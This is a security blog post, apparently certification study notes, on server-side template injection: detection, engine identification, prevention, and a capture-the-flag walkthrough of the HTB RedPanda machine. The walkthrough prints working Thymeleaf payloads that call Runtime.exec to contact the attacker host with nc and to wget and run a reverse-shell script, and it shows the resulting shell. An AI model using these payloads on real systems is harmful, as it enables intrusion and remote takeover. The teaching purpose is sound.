Skip to main content
  1. Posts/

Server-Side Template Injection - Applied Review

·6 mins
web BSCP
Table of Contents

What is SSTi?
#

Server-Side Template Injection (SSTi) is when an attacker is able to inject some native template syntax into a template, which is exceed as code by the server.

What is a template engine?

Template engines generate web pages by combining volatile data with some fixed template. In the event that user-controlled inputs are placed directly into a template, an attacker could inject some template directives into the engine that allow them to run system commands.

Why Does this Happen?
#

Static templates often provide placeholders that store and render dynamic content. For example, a website that greets you with you username might implement that function with a template engine like this:

$output = $twig->render("Hello {first_name},", array("first_name" => $user.first_name) );

This by itself would not be vulnerable because the user’s name is just passed into the template as data.

If developers set up the template to concatenate user input though, it might look something like this:

$output = $twig->render("Hello " . $_GET['name']);

This passes a dynamically generated value into the template via the GET parameter. This syntax will be evaluated on the server-side and could let us inject a malicious payload.

This is usually caused by a developer that is unfamiliar with security implications or just poor template design. In some ways, this is similar to SQL injection because of how the vulnerabilities arise and are exploited.

Detection
#

In order to actually exploit these vulnerabilities, we will need a way to verify if templates are being used and what template engine is implemented.

Usually, we can do this by fuzzing input areas with special characters common to template expressions like these:

ssti-2

If an exception is raised, this may be indicating that the template syntax is being interpreted by the server. This is one of the first indications to keep an eye out for.

SSTi can occur in two different contexts, and each one will be detected differently. Try to follow these context-specific indicators when you are fuzzing.

Plaintext
#

Most template languages let you freely input content by using HTML tags or by using the template’s native syntax. This can sometimes lead to XSS which can cause you to mistake the vulnerability for something that it is not.

For example, imagine a template that contains the following code:

render('Hello ' + username)

We will try to trigger some mathematical operation to distinguish this from an XSS attack. We might request the following URL:

http://vulnerable.com/?username=${{7*7}}

If the page response with the text: Hello 49, then we know this is likely an SSTi vulnerability.

Code
#

If our user input is placed into a template expression, maybe our input is placed inside of a parameter. Imagine the target application greets the user with this logic:

greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)

The resulting URL might look like this:

http://vulnerable.com/?greeting=data.username

We might test something like this by inserting an HTML tag into the parameter:

http://vulnerable.com/?greeting=data.username<tag>

This might result in a greeting with no username being filled in or some kind of error message. We might be able to break out of the statement using templating syntax:

http://vulnerable.com/?greeting=data.username}}<tag>

If this also results in an error, the syntax is from a different templating language or injection is not possible. If the output is rendered correctly, then you are on the right track.

Identification
#

Once you have determined the potential for SSTi, then you want to determine which template engine is being used. There are a bunch of templating languages that use similar syntax to each other, but we can probe specific ones by using special payloads.

ssti-1

this decision tree can help you determine the technology being used depending on the syntax that generates a response from the application.

Exploitation
#

Once you’ve found out which template engine in use, the most simple thing to do is to just read about the template syntax and use documented exploits or make your own to get the desired result.

Most of the exploitation process depends on what exactly you are looking at on the target application. We will go over creating a custom attack in the lab.

HTB RedPanda
#

This machine has a functionality that allows us to search for images. We notice that this page uses Spring Boot by looking at the page source which tells us that Java is implemented here. If we look further, we can see that the templating language for Spring Boot is Thymeleaf.

When we search for ${7*7}, we get an error that we searched for banned characters. If we use # or @ instead of $ we get the following result: ??49_en_US?? in the application. If we use * instead of $ we get 49 as the result.

This tells us that there is a vulnerability but we still need to exploit it somehow. Thankfully there is a whole article about exploiting SSTi in Thymeleaf on Acunetix.

While we can just copy the payload from the blog post, let’s try on our thinking caps and try to figure it out on our own.

If we look through a Thymeleaf guide, we can see an example of the behavior we might be looking for:

${T(com.baeldung.thymeleaf.model.Color).values()}

In this example, the T() utility is used to access static fields and methods from Java classes and methods. In this example it is used to get the valued from an enum type that contains a list of colors.

We can actually use this to call other Java classes and methods though, like java.lang.Runtime which should allow us to use the ever useful exec() method.

Knowing this, we can construct a payload like this:

*{T(java.lang.Runtime).getRuntime().exec('ls')}

This should try to execute the ls command when we run it on the web application.

When we run this the response from the application is like this:

You searched for: Process[pid=2162, exitValue="not exited"]

So, we can try to ping our own address and see if it works:

*{T(java.lang.Runtime).getRuntime().exec('nc 10.10.14.31 1337')}

And we see in our listener that a connection was attempted:

╰─ nc -lvp 1337                   
listening on [any] 1337 ...
10.129.227.207: inverse host lookup failed: Unknown host
connect to [10.10.14.31] from (UNKNOWN) [10.129.227.207] 46162

Knowing that this works, we can try to upload and execute a bash shell. We can use the following payload to upload our reverse shell bash script:

*{T(java.lang.Runtime).getRuntime().exec('wget http://10.10.14.31/shell.sh')}

Then, we can run the following command to execute it:

*{T(java.lang.Runtime).getRuntime().exec('bash shell.sh')}

This works and gives us back a reverse shell:

╰─ nc -lvp 1337               
listening on [any] 1337 ...
10.129.227.207: inverse host lookup failed: Unknown host
connect to [10.10.14.31] from (UNKNOWN) [10.129.227.207] 46202
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$

We detected that SSTi was possible, used context to determine what kind of template engine was used, and read the docs to develop a custom exploit strategy.

Prevention
#

The best and most straightforward way to prevent SSTi vulnerabilities is to not allow users to submit or modify new templates. If this is part of the intended function of the application though, you might need to try something else.

Ideally, you separate the template logic from the input as much as possible and only execute user code in a sandboxed environment where you can remove dangerous functions and modules.

Related

Insecure Deserialization - Applied Review
·9 mins
web BSCP
What is Serialization? # As the name suggests, serialization is the process of converting complex data into a simpler format that can be send as a stream of bytes.
GraphQL Vulnerabilities - Applied Review
·10 mins
web BSCP
What is GraphQL? # GraphQL is a query language designed to provide efficient communication between clients and servers by having the client specify exactly what data they want in the response.
DOM-Based Vulnerabilities - Applied Review
·10 mins
web BSCP
What is the DOM? # The document object model is a web browser&rsquo;s representation of the elements on the page.